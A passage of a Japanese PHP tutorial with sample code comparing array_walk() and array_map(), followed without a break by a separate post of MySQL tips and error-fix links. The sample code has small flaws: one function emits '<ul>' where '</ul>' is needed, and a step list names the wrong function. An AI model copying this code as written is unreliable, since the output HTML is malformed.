2. 配列を定義（今回は一つの配列）、まずはprint_rで出力してみる
3. array_walk()で関数の中で出力する

出力結果
![ 2018-05-15 7.47.27.png](https://qiita-image-store.s3.amazonaws.com/0/254159/876870e3-b467-deea-df70-def317bfc41b.png)


```php:array_walk.php

<!DOCTYPE html>
<html lang="ja">
<head>
	<meta charset="UTF-8">
	<title>配列のすべての要素を一括処理したい（array_walk）</title>
	<meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
</head>
<body>
<div>
	<?php
	// ユーザー定義関数
	function printIdList($value, $index) {
		echo "<ul>";
		echo "<li>No:".$index."</li>";
		echo "<li>Id".$value."</li>";
		echo "<ul>";
	}

	echo "<p>対象の配列</p>";
	// 配列を$idListに定義
	$idList = array("terurou","taro","jiro");
	print_r($idList);
	echo "</p>";

	// array_walk()->配列の各要素の対して指定した関数を実行する
	// array_walk(指定した配列,ユーザー定義関数);
	echo "<p>一括処理した結果</p>";
	array_walk($idList, 'printIdList');
 ?>
 </div>
</body>
</html>
```

###array_map()の例

1. リスト表示(ul,li)する関数を定義する
2. 配列を定義（今回は複数の配列を用意）、まずはprint_rで出力してみる
3. array_walk()で関数の中で出力する

出力結果
![ 2018-05-15 7.48.19.png](https://qiita-image-store.s3.amazonaws.com/0/254159/7e957dd7-34c0-d45f-6705-e1b9b4afdd2c.png)


```php:array_map.php

<!DOCTYPE html>
<html lang="ja">
<head>
	<meta charset="UTF-8">
	<title>配列のすべての要素を一括処理したい(array_map)</title>
</head>
<body>
<?php 

// ユーザー定義関数
function printUserData($id,$name,$age) {
	echo "<ul>";
	echo "<li>ID:".$id."</li>";
	echo "<li>Name:".$name."</li>";
	echo "<li>Age:".$age."</li>";
	echo "</ul>";
}

$idList = array("terurou","taro","jiro");
$nameList = array("八木照郎","山田太郎","鈴木次郎");
$ageList = array(25,72,40);

echo "<p>1つ目の配列：";
print_r($idList);
echo "</p>";

echo "<p>2つ目の配列：";
print_r($nameList);
echo "</p>";

echo "<p>3つ目の配列：";
print_r($ageList);
echo "</p>";

echo "<p>array_map()で一括処理した結果</p>";
// array_map(関数名,配列1,配列2,...)
array_map("printUserData",$idList,$nameList,$ageList);

 ?>
</body>
</html>

```
array_walkは、array_walk(配列,関数);
であるのに対し、
array_mapは、array_map(関数,配列);
であるのに注意してください。

####参考文献
PHP逆引きレシピ
MySQLについての個人的まとめ

#この記事について#
自分の備忘録として、MySQL全般についての自分の考えや調べたことを記載していきます。
ほぼリンク集として使用。
経験が浅いので、間違っていることもあると思いますがご容赦ください。


#小技

| 事項       |       説明|       参照|
|:-----------------|:------------------|:------------------|
|AWSにインストールする|-|[Amazon Linux (AWS)に、MySQLをインストールしよう！](https://ticklecode.com/step15-aws-mysql/)|
|csv出力を行う|-|[MySQL CSV を使ってエクスポート・インポート](http://bashalog.c-brains.jp/10/06/16-101352.php)
|起動・停止・再起動|-|[MySQLの起動](https://qiita.com/macer_fkm/items/7013655da212b0efae6f)|
|設定ファイル|my.cnfについての記載|[基礎MySQL ~その２~ my.cnf (設定ファイル)](https://qiita.com/yoheiW@github/items/bcbcd11e89bfc7d7f3ff)|

#エラー対応

| 事象       |       説明|       参照|
|:-----------------|:------------------|:------------------|
|ERROR 1290|出力権限による実行制限|[MySQLのSELECT結果をCSVファイルで出力する方法](https://weblabo.oscasierra.net/mysql-select-into-outfile/)<br><br>[my.cnfの場所を探して内容を確認したいのですが、見つかりません](https://ja.stackoverflow.com/questions/29620/my-cnf%E3%81%AE%E5%A0%B4%E6%89%80%E3%82%92%E6%8E%A2%E3%81%97%E3%81%A6%E5%86%85%E5%AE%B9%E3%82%92%E7%A2%BA%E8%AA%8D%E3%81%97%E3%81%9F%E3%81%84%E3%81%AE%E3%81%A7%E3%81%99%E3%81%8C-%E8%A6%8B%E3%81%A4%E3%81%8B%E3%82%8A%E3%81%BE%E3%81%9B%E3%82%93)|
|ERROR 1 (HY000)|ファイル読み書き制限|[MySQLでCSVファイルの読み書き](http://kumagonjp2.blog.fc2.com/blog-entry-154.html)



#参考#
[MySQL 逆引きリファレンスについて](http://mysql.javarou.com/)